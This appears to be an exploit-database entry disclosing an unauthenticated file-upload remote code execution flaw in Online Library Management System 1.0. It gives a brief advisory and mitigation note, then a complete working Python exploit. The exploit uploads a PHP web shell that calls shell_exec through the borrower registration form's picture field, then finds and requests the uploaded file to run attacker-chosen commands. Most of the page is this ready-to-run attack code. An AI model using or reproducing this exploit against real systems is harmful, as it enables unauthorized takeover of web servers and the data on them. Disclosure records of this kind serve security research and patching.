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vendor:
Online Library Management System
by:
Berk Can Geyikci
9,8
CVSS
HIGH
Arbitrary File Upload Remote Code Execution
434
CWE
Product Name: Online Library Management System
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:online_library_management_system:1.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 10 Pro 64 Bit 10.0.19041 + XAMPP V7.3.28
2021

Online Library Management System 1.0 – Arbitrary File Upload Remote Code Execution (Unauthenticated)

Online Library Management System 1.0 is vulnerable to Arbitrary File Upload Remote Code Execution. An attacker can exploit this vulnerability by sending a maliciously crafted request to the target server. The attacker can then execute arbitrary code on the target server by uploading a malicious file. The attacker can also gain access to the target server by exploiting this vulnerability.

Mitigation:

The application should validate the file type before uploading it to the server. The application should also restrict the file size and the file type that can be uploaded to the server.
Source

Exploit-DB raw data:

# Exploit Title: Online Library Management System 1.0 - Arbitrary File Upload Remote Code Execution (Unauthenticated)
# Date: 23-06-2021
# Exploit Author: Berk Can Geyikci
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/ols.zip
# Version: 1.0
# Tested on: Windows 10 Pro 64 Bit 10.0.19041 + XAMPP V7.3.28
# Exploit Tested Using: Python 3.8.6

'''
Steps To Produce:
1)Click Books
2)Select one book and click Read more
3)Get the book id from url #example_url http://localhost/ols/index.php?q=bookdetails&id=15243678
4)Execute Python Script with URL, Book id and Command
'''


'''
Import required modules:
'''
import sys, hashlib, requests
import urllib
import time
import random

try:
#settings
  target_url = sys.argv[1]
  book_id    = sys.argv[2]
  command    = sys.argv[3]

except IndexError:

        print("- usage: %s <target> <book_id> <command>" % sys.argv[0])
        print("- Example: %s http://example.com 15243678 'whoami'" % sys.argv[0])
        sys.exit()

url = target_url+"/ols/proccess.php?action=add"

session = requests.Session()
session.get(target_url+"/ols")
session_cookies = session.cookies
php_cookie = session.cookies.get_dict()['PHPSESSID'].strip()
print("Getting Session Cookie= "+php_cookie)

random_borrower_id = random.randint(0,999999)

#Headers to upload php
headers = {
    "Accept-Encoding": "gzip, deflate",
    "Referer": target_url + "/ols/index.php?q=borrow&id="+ book_id +"/",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryBA3sFU893qYE7jKq",
    "Upgrade-Insecure-Requests": "1",
    "Connection": "close",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Cookie": "PHPSESSID="+php_cookie
}

req = requests.get(target_url+"/ols/index.php?q=borrow&id="+book_id, headers=headers)


data = "------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n15243678\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"BorrowerId\"\r\n\r\n"+str(random_borrower_id)+"\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"deptid\"\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"Firstname\"\r\n\r\ndummy_firstname\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"deptid\"\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"Lastname\"\r\n\r\ndummy_lastname\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"deptid\"\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"MiddleName\"\r\n\r\ndummy_middlename\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"Address\"\r\n\r\ndummy_address\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"optionsRadios\"\r\n\r\nMale\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"ContactNo\"\r\n\r\n1\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"CourseYear\"\r\n\r\n2021\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"BUsername\"\r\n\r\ndummy_username\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"BPassword\"\r\n\r\ndummy_\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"picture\"; filename=\"rcepoc_"+str(random_borrower_id)+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\r\n\r\n\r\n\r\necho shell_exec('"+command+"');\r\n\r\n\r\n\r\n?>\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\"save\"\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq--\r\n"

req = requests.post(url, headers=headers, data=data)
print("Uploading file...")

req = requests.get(target_url+"/ols/proccess.php?action=checkout&id="+book_id, headers=headers)
#print(req.text)

req = requests.get(target_url+"/ols/borrower/", headers=headers)
#print(req.text)

req = requests.get(target_url+"/ols/asset/images/borrower/", headers=headers)
reqq = req.text
#print(reqq)
reqqq = reqq.find(str(random_borrower_id))
command_result = reqq[reqqq-21:reqqq+10]

req = requests.get(target_url+"/ols/asset/images/borrower/"+command_result+"", headers=headers)
print("Command Result = "+req.text)

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